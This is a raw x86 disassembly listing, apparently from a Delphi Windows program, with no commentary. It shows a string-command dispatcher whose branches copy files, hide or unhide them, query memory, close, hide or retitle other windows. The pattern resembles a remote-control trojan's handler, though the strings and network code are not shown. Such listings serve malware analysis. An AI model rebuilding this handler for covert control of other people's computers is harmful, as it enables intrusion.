lea eax, [ebp - 0x33c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x33c]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x4774f9
push 0xffffffffffffffff
lea edx, [ebp - 0x344]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x344]
lea eax, [ebp - 0x340]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x340]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
inc edi
dec ebx
jne 0x477409
jmp 0x477541
push 0xffffffffffffffff
lea edx, [ebp - 0x34c]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x34c]
lea eax, [ebp - 0x348]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x348]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x494944]
call fcn.00405530
mov eax, 0x47d934
call fcn.00475d90
lea eax, [ebp - 0x350]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x350]
mov edx, 0x47d948
call fcn.00405974
jne 0x47759f
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494944]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebp - 0x354]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x354]
mov edx, 0x47d960
call fcn.00405974
jne 0x47767f
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e504
call sub.ole32.dll_CoUninitialize
lea eax, [ebp - 0x358]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x358]
mov edx, 0x47d974
call fcn.00405974
jne 0x477740
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
lea eax, [ebp - 0x35c]
mov edx, dword [ebp - 0x10]
call fcn.00405818
mov edx, dword [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
call fcn.0046db40
test al, al
jne 0x477740
mov eax, 0x47d988
call fcn.00475d90
lea eax, [ebp - 0x360]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x360]
mov edx, 0x47d99c
call fcn.00405974
jne 0x4777de
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046db40
test al, al
jne 0x4777de
mov eax, 0x47d9b0
call fcn.00475d90
lea eax, [ebp - 0x364]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x364]
mov edx, 0x47d9c4
call fcn.00405974
jne 0x477850
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x477815
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x368]
push eax
mov ecx, ebx
mov edx, 7
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x368]
call fcn.0046db24
test al, al
je 0x477846
mov eax, 0x47d934
call fcn.00475d90
jmp 0x477850
mov eax, 0x47d9d4
call fcn.00475d90
lea eax, [ebp - 0x36c]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x36c]
mov edx, 0x47d9e8
call fcn.00405974
jne 0x4778cb
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048cc4c
test al, al
jne 0x4778c1
push 0x47d9f8
push dword [ebp - 8]
push 0x47da08
lea eax, [ebp - 0x370]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x370]
call fcn.0046d480
mov eax, 0x47d934
call fcn.00475d90
lea eax, [ebp - 0x374]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x374]
mov edx, 0x47da18
call fcn.00405974
jne 0x477918
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x378]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x378]
mov edx, 0x47da2c
call fcn.00405974
jne 0x477968
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 8]
mov edx, 0x47da40
call fcn.00405974
jne 0x4779f0
lea eax, [ebp - 0x208]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x47da40
call fcn.0046e6c4
lea edx, [ebp - 0x380]
call fcn.00409d70
push dword [ebp - 0x380]
push 0x47d4ac
lea eax, [ebp - 0x384]
push eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x38c], eax
mov byte [ebp - 0x388], 0
lea edx, [ebp - 0x38c]
xor ecx, ecx
mov eax, 0x47da50
call fcn.0040af98
push dword [ebp - 0x384]
lea eax, [ebp - 0x37c]
mov edx, 4
call fcn.004058e0
mov eax, dword [ebp - 0x37c]
call fcn.00475d90
lea eax, [ebp - 0x390]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x390]
mov edx, 0x47da5c
call fcn.00405974
jne 0x477a47
lea eax, [ebp - 0x398]
call fcn.0046e838
mov ecx, dword [ebp - 0x398]
lea eax, [ebp - 0x394]
mov edx, 0x47da5c
call fcn.00405864
mov eax, dword [ebp - 0x394]
call fcn.00475d90
lea eax, [ebp - 0x39c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x39c]
mov edx, 0x47da6c
call fcn.00405974
jne 0x477aa4
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push ebp
lea eax, [ebp - 0x3a0]
call fcn.00485190
mov eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 8]
mov edx, 0x47da80
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x3a4]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3a4]
mov edx, 0x47da90
call fcn.00405974
jne 0x477b55
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
mov eax, dword [ebp - 0xc]
call fcn.00409edc
lea edx, [ebp - 0x3a8]
call fcn.0046df18
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x47daa4
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x3ac]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ac]
mov edx, 0x47dab4
call fcn.00405974
jne 0x477c59
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
mov esi, eax
mov ebx, esi
test ebx, ebx
jle 0x477c4f
mov edi, 1
cmp esi, edi
je 0x477c3e
lea eax, [ebp - 0x3b0]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x3b0]
call fcn.00409edc
call fcn.00484e5c
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x477c4b
mov eax, dword [ebp - 0xc]
call fcn.00409edc
call fcn.00484e5c
inc edi
dec ebx
jne 0x477be8
mov eax, 0x47dac8
call fcn.00475d90
lea eax, [ebp - 0x3b4]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3b4]
mov edx, 0x47dadc
call fcn.00405974
jne 0x477d31
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x417834]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
xor eax, eax
push ebp
push 0x477d2a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x3b8]
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x3b8]
call fcn.00409edc
call fcn.00484e5c
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x477cc8
mov eax, 0x47dac8
call fcn.00475d90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477d31
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x3bc]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3bc]
mov edx, 0x47daec
call fcn.00405974
jne 0x477d85
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
call fcn.00484e5c
mov eax, 0x47dac8
call fcn.00475d90
lea eax, [ebp - 0x3c0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3c0]
mov edx, 0x47db04
call fcn.00405974
jne 0x477f1b
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea ecx, [ebp - 0x3c8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046eb0c
push dword [ebp - 0x3c8]
push 0x47d4ac
lea ecx, [ebp - 0x3cc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046ebcc
push dword [ebp - 0x3cc]
lea eax, [ebp - 0x3c4]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x3d0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d0]
mov edx, 0x47db14
call fcn.00405974
jne 0x477fcf
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47db24
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47db24
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e1f0
lea eax, [ebp - 0x3d4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d4]
mov edx, 0x47db30
call fcn.00405974
jne 0x47805a
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x478018
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3d8]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x3dc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3dc]
pop edx
call fcn.0046e358
lea eax, [ebp - 0x3e0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e0]
mov edx, 0x47db40
call fcn.00405974
jne 0x4780e5
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4780a3
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3e4]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3e8]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e8]
pop edx
call fcn.0046e070
lea eax, [ebp - 0x3ec]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ec]
mov edx, 0x47db50
call fcn.00405974
jne 0x4781ef
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046f178
lea eax, [ebp - 0x3f0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f0]
mov edx, 0x47db60
call fcn.00405974
jne 0x4782f9
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046efac
lea eax, [ebp - 0x3f4]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f4]
mov edx, 0x47db74
call fcn.00405974
jne 0x478403
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046f094
lea eax, [ebp - 0x3f8]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f8]
mov edx, 0x47db90
call fcn.00405974
jne 0x478571
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x18]
mov edx, 0x47d6c4
call fcn.00405974
jne 0x478553
push ebp
lea eax, [ebp - 0x3fc]
call fcn.0046f4a4
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x400]
call fcn.0046f6d0
mov edx, dword [ebp - 0x400]
pop eax
call fcn.00405818
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
jmp 0x478571
push ebp
lea eax, [ebp - 0x404]
call fcn.0046f4a4
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x408]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x408]
mov edx, 0x47dba4
call fcn.00405974
jne 0x4785c2
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
push 0
push 0
push 0x10
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x40c]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x40c]
mov edx, 0x47dbb4
call fcn.00405974
jne 0x47860f
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 3
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x410]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x410]
mov edx, 0x47dbc8
call fcn.00405974
jne 0x47865c
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 6
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x414]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x414]
mov edx, 0x47dbdc
call fcn.00405974
jne 0x4786a9
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 0
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x418]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x418]
mov edx, 0x47dbec
call fcn.00405974
jne 0x4786f6
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.00409edc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x41c]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x41c]
mov edx, 0x47dbfc
call fcn.00405974
jne 0x478792
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00409edc
push eax
call sub.user32.dll_SetWindowTextA
lea eax, [ebp - 0x420]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x420]
mov edx, 0x47dc18
call fcn.00405974
jne 0x478876
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x424]
call fcn.0048aab4
mov eax, dword [ebp - 0x424]
